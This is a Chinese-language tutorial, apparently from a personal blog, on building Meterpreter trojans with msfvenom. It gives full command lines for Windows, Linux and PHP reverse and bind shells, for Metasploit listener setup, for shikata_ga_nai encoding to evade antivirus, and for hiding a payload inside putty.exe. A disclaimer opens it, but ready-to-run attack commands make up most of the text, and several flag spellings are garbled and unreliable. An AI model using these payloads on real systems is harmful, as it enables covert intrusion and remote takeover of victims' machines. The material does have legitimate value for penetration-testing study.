本文最后更新于 2024-07-26,文章内容可能已经过时。

MsfVenom木马制作

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

MsfVenom功能介绍

msvenom的功能:常用于生成木马,在目标机器上执行,在本地机器kali中上线,与反弹Shell类似。MSFVenom可以生成两种类型的攻击载荷:
(1)Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

生成一个文件:

Windows:exe

linux:elf

​ (2)shellcode:shelkcode是Payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。shelcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

机器语言(0101101101)·>指令语言(汇编语言)·>高级语言(c、c++、python、java等)

攻击载荷分类

(1) single是一种完全独立的Payoad,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于singlePayload是完全独立的,所以其生成的Payload通常很大。

(2) Stager这种Payl0ad负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。

(3) stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制

Single payload的格式为:/ 如:windows/powershell_bind_tcp

Stager/stage payload的格式为:/ 如:windows/meterperter/reverse_tcp

木马创建

-p,–pay1oad 指定需要使用的payoad。使用自定义的payload,请使用-;或者stdin指定
-l,–list 列出指定模块的所有可用资源,模块类型包括:pay1oads,encoders,nops,a11
-n,–nopsled 为payload预先指定一个NOP滑动长度
-f,–format 指定输出格式
-e,–encoder 指定需要使用的编码器如xor等
-a,–arch 指定payload的目标架构 x64 x86
-a,–platform 指定payload的目标平台
-s,–space 设定规避字符集,比如:& #039;\x00\xff& #039;
-i,–iterations 指定payload的编码次数,绕杀毒
-X,–template 指定一个自定义的可执行文件作为模板
-pay1oad-options 列举pay1oad的标准选项
-0,–Qut 将payload保存到指定的文件路径
-V,–var-name 指定一个自定义的变量,以确定输出格式
-she1lest 最小化生成payload

要查看支持哪些平台,使用参数:msfvenom --1ist platforms,文持哪些输出格式,–1ist formats,以此类推

正向连接和反向连接:

image-202406311235427243

windows的反向木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[攻击机ip] lport=[攻击机端口] -f exe -o [生成木马的名称].exe

image-20240611235427243

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o windows_reverse_tcp.exe

可以看到生成的木马文件在桌面上生成。

用msfvenom自带的/shikata_ga_nai免杀框架生成免杀的木马:

msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.91.129 lport=5555 -e x86/shikata_ga_nai -f exe -o windows_reverse_tcp_2.exe -i 5

# -i是免杀混淆5次

image-20240612001710683

将生成的木马拷贝到目标主机中,再kali中开启msf监听

use exploit/multi/handler

image-20240612002536870

设置为原本生成木马的payload:

set payload windows/x64/meterpreter/reverse_tcp

image-20240612002830379

设置为原本生成木马的lhost和lport:

set lhost 192.168.91.129

set lport 5555

image-20240612003001238

启动run监听即可,

查看一下kali中端口的开放情况,确认正在监听:

image-20240612003338975

再目标主机中执行生成的木马文件,即可看到上线成功。

image-20240612005746906

image-20240612010204129

windows_32位反向木马:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPORT=5555 -b"\x00" -e x86/shikata_ga_nai -f exe > msf.exe

# --platform windows: 指定目标平台为 Windows,这样生成的有效负载就会兼容 Windows 操作系统。
# -a x86是32位的
# 这里-b"\x00"是规避字符“\x00”
# x86/shikata_ga_nai 是msf自带的反杀模块

2.kali开启监听:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set lport 5555
run

3.木马上传至目标主机并运行,kali成功返回监听信息
aaaaaaa

window正向木马:

1.生成木马:

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=5555 -f exe -o msf_bind_tcp_64.exe

目标主机运行木马,netstat -antp tcp 查看有没有生成5555的端口,发现有5555的端口正在等待连接。

image-20240612012045262

2.kali开启msf连接木马:

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

show options

set rhost 192.168.91.133
# 192.168.91.133为目标主机的ip

run

#成功上线

image-20240612012606961

输入bg返回模块。输入sessions查看连接的目标会话,可以发现一个之前反向连接的,一个这里生成正向木马进行连接的sessions

image-20240612012820582

木马上传目标主机运行木马,netstat -antp tcp 查看有没有生成5555的端口,发现有5555的端口正在等待连接。
image-20240612012820582

Windows_32位正向木马:

1.创建木马

msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=5555 -b"\x00" -e x86/shikata_ga_nai -f exe -i 5 > msf.exe

# --platform windows: 指定目标平台为 Windows,这样生成的有效负载就会兼容 Windows 操作系统。
# -a x86是32位的
# 这里-b"\x00"是规避字符“\x00”
# x86/shikata_ga_nai 是msf自带的免杀模块
# -i 5 免杀混淆5次

image-2024061201433504

目标主机上运行木马,查看端口信息,
image-20240612012045262

2.kali开启msf连接木马:

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

show options

set rhost 192.168.91.134
# 192.168.91.134为目标主机的ip
set port 5555
run

#成功上线

image-20240612012606961

linux的反向木马:

1.创建木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} -f elf -o msf_linux_reverse_tcp_64.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.91.129 LPORT=4545 -f elf -o msf_linux_reverse_tcp_64.elf

2.msf创建并开启监听

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

show options

set lhost 192.168.91.129

set lport 4545

run

上传生成的木马文件到目标linux机器中,修改执行权限并运行

image-20240612014908504

成功上线目标linux主机

linux的正向木马:

1.创建木马

msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4545 -f elf -o msf_linux_bind_tcp_64.elf

image-20240612020213500

将生成的木马文件上传至目标linux主机的系统中,修改可执行权限并运行木马

image-20240612020954507

2.kali进行开启msf进行连接木马:

use exploit/multi/handler 

set payload linux/x64/meterpreter/bind_tcp

set rhost 192.168.91.141
set rport 4545

run

image-20240612021454852

成功上线目标linux主机。

木马绑定应用程序

首先在网上随便找一个可以进行木马绑定的合适的应用程序,这里我使用的是putty.exe这个应用程序

image-20240612021834124

将要进行绑定的应用程序拷贝到kali系统中进行木马绑定的准备。

image-20240612022533793

(1)创建木马

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.91.129 lport=5656 -a x86 --platform windows -x putty.exe -k -f exe -o msf_putty_http_32.exe

要在要绑定的生成可执行程序的当前路径下进行生成

image-20240612023224192

将新生成的绑定木马的程序上传到目标主机中

(2)在kali中开启监听

msfconsole

use exploit/multi/handler 

set payload  windows/meterpreter/reverse_http

show options 

set lhost 192.168.91.129
set lport 5656

run

在目标主机中运行木马程序

image-20240612023928969

image-20240612023944586

成功上线目标主机

生成PHP木马

msfvenom -p php/meterpreter_reverse_tcp LHosT=192.168.91.129 LPORT=5959 -f raw -o msf_php_tcp.php

把生成的文件拷贝到php环境下,通过php服务器进行访问。

例如:比如放在lampp的htdocs中,然后启动服务,访问此php页面

1、开启kali监听:

handler -p php/meterpreter_reverse_tcp -H 192.168.91.129 -P 5959

2.启动php服务,访问页面

http://192.168.91.128/msf_php_tcp.php

或者3.传递木马
在kali里面使用python简单开启一个http server

root@kali:~# python -m SimpleHTTPServer 888

靶机访问kali 888端口进行下载木马程序,并运行,也可以成功上线。